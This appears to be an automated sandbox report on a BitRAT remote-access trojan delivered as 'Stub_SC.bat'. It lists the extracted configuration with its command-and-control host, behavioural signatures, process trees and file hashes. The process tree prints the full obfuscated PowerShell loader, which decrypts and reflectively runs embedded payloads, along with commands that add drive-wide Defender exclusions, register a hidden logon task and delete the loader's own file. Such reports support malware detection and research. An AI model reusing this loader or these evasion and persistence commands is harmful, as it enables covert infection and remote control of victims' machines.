Analysis
-
max time kernel
151s -
max time network
159s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
12-10-2023 01:16
Static task
static1
Behavioral task
behavioral1
Sample
Stub_SC.bat
Resource
win7-20230831-en
General
-
Target
Stub_SC.bat
-
Size
2.6MB
-
MD5
12d05ccce56b71317838c1f70c434fdd
-
SHA1
db2b6548661dc0ad3c19439989e1c36bf62a9ca7
-
SHA256
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
-
SHA512
79c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
-
SSDEEP
24576:MFz0PTLOQXlNvJ9ZosU5cqcczDvwcbpSWwHt6H5P+gRnBrqYxvcpXKX6saNpWJcU:bNWTfSWwU8i8esRx7rXDdOuGC+ewAtg
Malware Config
Extracted
bitrat
1.38
moonli.ddnsking.com:1234
-
communication_password
81dc9bdb52d04dc20036dbd8313ed055
-
tor_process
tor
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Stub_SC.bat.exeNetwork42453Man.cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation Stub_SC.bat.exe Key value queried \REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation Network42453Man.cmd.exe -
Executes dropped EXE 2 IoCs
Processes:
Stub_SC.bat.exeNetwork42453Man.cmd.exepid process 3924 Stub_SC.bat.exe 2324 Network42453Man.cmd.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
Processes:
Network42453Man.cmd.exepid process 2324 Network42453Man.cmd.exe 2324 Network42453Man.cmd.exe 2324 Network42453Man.cmd.exe 2324 Network42453Man.cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
Stub_SC.bat.exepowershell.exepowershell.exepowershell.exepowershell.exeNetwork42453Man.cmd.exepowershell.exepowershell.exepowershell.exepid process 3924 Stub_SC.bat.exe 3924 Stub_SC.bat.exe 4224 powershell.exe 4224 powershell.exe 860 powershell.exe 860 powershell.exe 4224 powershell.exe 860 powershell.exe 860 powershell.exe 860 powershell.exe 4760 powershell.exe 4760 powershell.exe 4760 powershell.exe 4996 powershell.exe 4996 powershell.exe 4996 powershell.exe 2324 Network42453Man.cmd.exe 2324 Network42453Man.cmd.exe 2324 Network42453Man.cmd.exe 3984 powershell.exe 3984 powershell.exe 4112 powershell.exe 4112 powershell.exe 3984 powershell.exe 4112 powershell.exe 4112 powershell.exe 4112 powershell.exe 32 powershell.exe 32 powershell.exe 32 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Stub_SC.bat.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3924 Stub_SC.bat.exe Token: SeDebugPrivilege 4224 powershell.exe Token: SeDebugPrivilege 860 powershell.exe Token: SeDebugPrivilege 4760 powershell.exe Token: SeIncreaseQuotaPrivilege 4760 powershell.exe Token: SeSecurityPrivilege 4760 powershell.exe Token: SeTakeOwnershipPrivilege 4760 powershell.exe Token: SeLoadDriverPrivilege 4760 powershell.exe Token: SeSystemProfilePrivilege 4760 powershell.exe Token: SeSystemtimePrivilege 4760 powershell.exe Token: SeProfSingleProcessPrivilege 4760 powershell.exe Token: SeIncBasePriorityPrivilege 4760 powershell.exe Token: SeCreatePagefilePrivilege 4760 powershell.exe Token: SeBackupPrivilege 4760 powershell.exe Token: SeRestorePrivilege 4760 powershell.exe Token: SeShutdownPrivilege 4760 powershell.exe Token: SeDebugPrivilege 4760 powershell.exe Token: SeSystemEnvironmentPrivilege 4760 powershell.exe Token: SeRemoteShutdownPrivilege 4760 powershell.exe Token: SeUndockPrivilege 4760 powershell.exe Token: SeManageVolumePrivilege 4760 powershell.exe Token: 33 4760 powershell.exe Token: 34 4760 powershell.exe Token: 35 4760 powershell.exe Token: 36 4760 powershell.exe Token: SeDebugPrivilege 4996 powershell.exe Token: SeIncreaseQuotaPrivilege 4996 powershell.exe Token: SeSecurityPrivilege 4996 powershell.exe Token: SeTakeOwnershipPrivilege 4996 powershell.exe Token: SeLoadDriverPrivilege 4996 powershell.exe Token: SeSystemProfilePrivilege 4996 powershell.exe Token: SeSystemtimePrivilege 4996 powershell.exe Token: SeProfSingleProcessPrivilege 4996 powershell.exe Token: SeIncBasePriorityPrivilege 4996 powershell.exe Token: SeCreatePagefilePrivilege 4996 powershell.exe Token: SeBackupPrivilege 4996 powershell.exe Token: SeRestorePrivilege 4996 powershell.exe Token: SeShutdownPrivilege 4996 powershell.exe Token: SeDebugPrivilege 4996 powershell.exe Token: SeSystemEnvironmentPrivilege 4996 powershell.exe Token: SeRemoteShutdownPrivilege 4996 powershell.exe Token: SeUndockPrivilege 4996 powershell.exe Token: SeManageVolumePrivilege 4996 powershell.exe Token: 33 4996 powershell.exe Token: 34 4996 powershell.exe Token: 35 4996 powershell.exe Token: 36 4996 powershell.exe Token: SeIncreaseQuotaPrivilege 4996 powershell.exe Token: SeSecurityPrivilege 4996 powershell.exe Token: SeTakeOwnershipPrivilege 4996 powershell.exe Token: SeLoadDriverPrivilege 4996 powershell.exe Token: SeSystemProfilePrivilege 4996 powershell.exe Token: SeSystemtimePrivilege 4996 powershell.exe Token: SeProfSingleProcessPrivilege 4996 powershell.exe Token: SeIncBasePriorityPrivilege 4996 powershell.exe Token: SeCreatePagefilePrivilege 4996 powershell.exe Token: SeBackupPrivilege 4996 powershell.exe Token: SeRestorePrivilege 4996 powershell.exe Token: SeShutdownPrivilege 4996 powershell.exe Token: SeDebugPrivilege 4996 powershell.exe Token: SeSystemEnvironmentPrivilege 4996 powershell.exe Token: SeRemoteShutdownPrivilege 4996 powershell.exe Token: SeUndockPrivilege 4996 powershell.exe Token: SeManageVolumePrivilege 4996 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
Network42453Man.cmd.exepid process 2324 Network42453Man.cmd.exe 2324 Network42453Man.cmd.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
cmd.execmd.exeStub_SC.bat.execmd.exeNetwork42453Man.cmd.exedescription pid process target process PID 1104 wrote to memory of 1396 1104 cmd.exe cmd.exe PID 1104 wrote to memory of 1396 1104 cmd.exe cmd.exe PID 1396 wrote to memory of 3924 1396 cmd.exe Stub_SC.bat.exe PID 1396 wrote to memory of 3924 1396 cmd.exe Stub_SC.bat.exe PID 1396 wrote to memory of 3924 1396 cmd.exe Stub_SC.bat.exe PID 3924 wrote to memory of 860 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 860 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 860 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4224 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4224 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4224 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4760 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4760 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4760 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4996 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4996 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4996 3924 Stub_SC.bat.exe powershell.exe PID 3924 wrote to memory of 4664 3924 Stub_SC.bat.exe cmd.exe PID 3924 wrote to memory of 4664 3924 Stub_SC.bat.exe cmd.exe PID 3924 wrote to memory of 4664 3924 Stub_SC.bat.exe cmd.exe PID 4664 wrote to memory of 2324 4664 cmd.exe Network42453Man.cmd.exe PID 4664 wrote to memory of 2324 4664 cmd.exe Network42453Man.cmd.exe PID 4664 wrote to memory of 2324 4664 cmd.exe Network42453Man.cmd.exe PID 2324 wrote to memory of 4112 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 4112 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 4112 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 3984 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 3984 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 3984 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 32 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 32 2324 Network42453Man.cmd.exe powershell.exe PID 2324 wrote to memory of 32 2324 Network42453Man.cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat2⤵
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe"C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3924);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:860 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4224 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\Stub_SC')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4760 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 42453' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network42453Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4996 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Network42453Man.cmd" "4⤵
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exe"C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2324 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(2324);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4112 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3984 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network42453Man')6⤵
- Suspicious behavior: EnumeratesProcesses
PID:32
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
53KB
MD506ad34f9739c5159b4d92d702545bd49
SHA19152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA256474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
SHA512c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
18KB
MD5353251515e65be2ff4989493f9d935d5
SHA1e631e54e9dd81dd8bb319cb8b993c98203e91597
SHA2567e2ba5c81969ab85a57900abffdcd19e8d71d06ff555440894da71eb83fe968e
SHA5121e034f44255e011d830ad159ee69a900d755f33730963e90214e94a39af122516c56c6af477adcbc4f1f2ee567eafe88451303bd7fb853db65ff51904aafc987
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
19KB
MD5a0e04953ede77bd514ab2b4fb98ed462
SHA15e54f266da2333315f6d26bac6146cb926f8b5ab
SHA256d7b3698e20d2614a9f126c7c4481964202af3f2134668edbd094480118ddf058
SHA512cdd527ab23efdc410db1eabbeb9f8c106b5e6cee4f2af74f0a8502ccb0ea9bdd1e63d6bd15f1c321a84be6bc55300d1380b1b8e2a0c9d805d1dc37e5e6d3825a
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD5c2a7cb16ad143e4f9f319c8416955a44
SHA1ac4be445b8bfe2bd1773f53110aa59c066013237
SHA25668d3b721b0f3a434db356eb0c16f17903bb461fd814c4242f7d7c55d2065a070
SHA51211f9fc68c783f9a3760c70179bfc52c25b0c3b7afd90868f1faf3ea3dd4d27864394edd30db351f58d6df10bbb63b8616430fca71a21b5ab2aeeb403c53e24c6
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD5c2a7cb16ad143e4f9f319c8416955a44
SHA1ac4be445b8bfe2bd1773f53110aa59c066013237
SHA25668d3b721b0f3a434db356eb0c16f17903bb461fd814c4242f7d7c55d2065a070
SHA51211f9fc68c783f9a3760c70179bfc52c25b0c3b7afd90868f1faf3ea3dd4d27864394edd30db351f58d6df10bbb63b8616430fca71a21b5ab2aeeb403c53e24c6
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
15KB
MD544f0c2fadcb59edf6d0e65a9030c446a
SHA1b10b258678afe1d545da4309f0127061935369bc
SHA2567d7411d9f6729c5bc44dfe9bd47675c4a205e1c5d1f84d464d10f50a4f2fd10f
SHA512766f8a51ef0f640159ec139f53b264881813f95a1b1b83aae159cfb317b4f4d15ff7833206f55ec61e3426e7e5a41d5f9f914bdd89c20765c5e0c3eb36e29d27
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
18KB
MD53313e1b2690f1a9860ec7268b0d6e056
SHA1751eda9b6e37337062055274495a5a9f6c99e6fb
SHA256b22f6749c76593a599d5fddeb01fcc387be5d4df8fc8261ae316c61c331e2ec4
SHA512b45c3aab6b41d53bfefb16abc10af660b0315055e8e65f7d3ffaebd479d9371a65502a14acfa3c91730fefaf30cc7914a5fad01a60d68536994d92d8806e50a1
-
C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rnoef2aw.j2l.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmdFilesize
2.6MB
MD512d05ccce56b71317838c1f70c434fdd
SHA1db2b6548661dc0ad3c19439989e1c36bf62a9ca7
SHA256c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
SHA51279c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
memory/860-77-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/860-168-0x0000000002400000-0x0000000002410000-memory.dmpFilesize
64KB
-
memory/860-169-0x0000000005F80000-0x0000000005FA2000-memory.dmpFilesize
136KB
-
memory/860-78-0x0000000002400000-0x0000000002410000-memory.dmpFilesize
64KB
-
memory/860-35-0x0000000002400000-0x0000000002410000-memory.dmpFilesize
64KB
-
memory/860-34-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/2324-156-0x0000000004EA0000-0x0000000004EB0000-memory.dmpFilesize
64KB
-
memory/2324-249-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/2324-154-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/2324-155-0x0000000004EA0000-0x0000000004EB0000-memory.dmpFilesize
64KB
-
memory/3924-22-0x0000000006840000-0x000000000688C000-memory.dmpFilesize
304KB
-
memory/3924-74-0x0000000077B81000-0x0000000077CA1000-memory.dmpFilesize
1.1MB
-
memory/3924-27-0x0000000005640000-0x000000000564E000-memory.dmpFilesize
56KB
-
memory/3924-26-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/3924-58-0x0000000003300000-0x0000000003310000-memory.dmpFilesize
64KB
-
memory/3924-25-0x0000000006E10000-0x0000000006E2A000-memory.dmpFilesize
104KB
-
memory/3924-24-0x0000000009E60000-0x000000000A4DA000-memory.dmpFilesize
6.5MB
-
memory/3924-167-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/3924-23-0x0000000003300000-0x0000000003310000-memory.dmpFilesize
64KB
-
memory/3924-33-0x0000000003300000-0x0000000003310000-memory.dmpFilesize
64KB
-
memory/3924-30-0x0000000009B70000-0x0000000009D6A000-memory.dmpFilesize
2.0MB
-
memory/3924-29-0x0000000077B81000-0x0000000077CA1000-memory.dmpFilesize
1.1MB
-
memory/3924-32-0x0000000003300000-0x0000000003310000-memory.dmpFilesize
64KB
-
memory/3924-21-0x0000000006800000-0x000000000681E000-memory.dmpFilesize
120KB
-
memory/3924-20-0x0000000006210000-0x0000000006564000-memory.dmpFilesize
3.3MB
-
memory/3924-15-0x00000000061A0000-0x0000000006206000-memory.dmpFilesize
408KB
-
memory/3924-9-0x0000000006040000-0x00000000060A6000-memory.dmpFilesize
408KB
-
memory/3924-8-0x0000000005940000-0x0000000005962000-memory.dmpFilesize
136KB
-
memory/3924-7-0x0000000005A10000-0x0000000006038000-memory.dmpFilesize
6.2MB
-
memory/3924-6-0x0000000003300000-0x0000000003310000-memory.dmpFilesize
64KB
-
memory/3924-5-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/3924-4-0x00000000053A0000-0x00000000053D6000-memory.dmpFilesize
216KB
-
memory/4224-76-0x0000000007620000-0x0000000007631000-memory.dmpFilesize
68KB
-
memory/4224-60-0x000000007F820000-0x000000007F830000-memory.dmpFilesize
64KB
-
memory/4224-89-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/4224-36-0x0000000004ED0000-0x0000000004EE0000-memory.dmpFilesize
64KB
-
memory/4224-37-0x0000000004ED0000-0x0000000004EE0000-memory.dmpFilesize
64KB
-
memory/4224-86-0x0000000007760000-0x000000000777A000-memory.dmpFilesize
104KB
-
memory/4224-85-0x0000000007660000-0x0000000007674000-memory.dmpFilesize
80KB
-
memory/4224-47-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/4224-57-0x0000000004ED0000-0x0000000004EE0000-memory.dmpFilesize
64KB
-
memory/4224-87-0x0000000007740000-0x0000000007748000-memory.dmpFilesize
32KB
-
memory/4224-59-0x0000000007290000-0x00000000072C2000-memory.dmpFilesize
200KB
-
memory/4224-79-0x0000000004ED0000-0x0000000004EE0000-memory.dmpFilesize
64KB
-
memory/4224-61-0x0000000070F80000-0x0000000070FCC000-memory.dmpFilesize
304KB
-
memory/4224-71-0x00000000066B0000-0x00000000066CE000-memory.dmpFilesize
120KB
-
memory/4224-84-0x0000000007650000-0x000000000765E000-memory.dmpFilesize
56KB
-
memory/4224-72-0x00000000072D0000-0x0000000007373000-memory.dmpFilesize
652KB
-
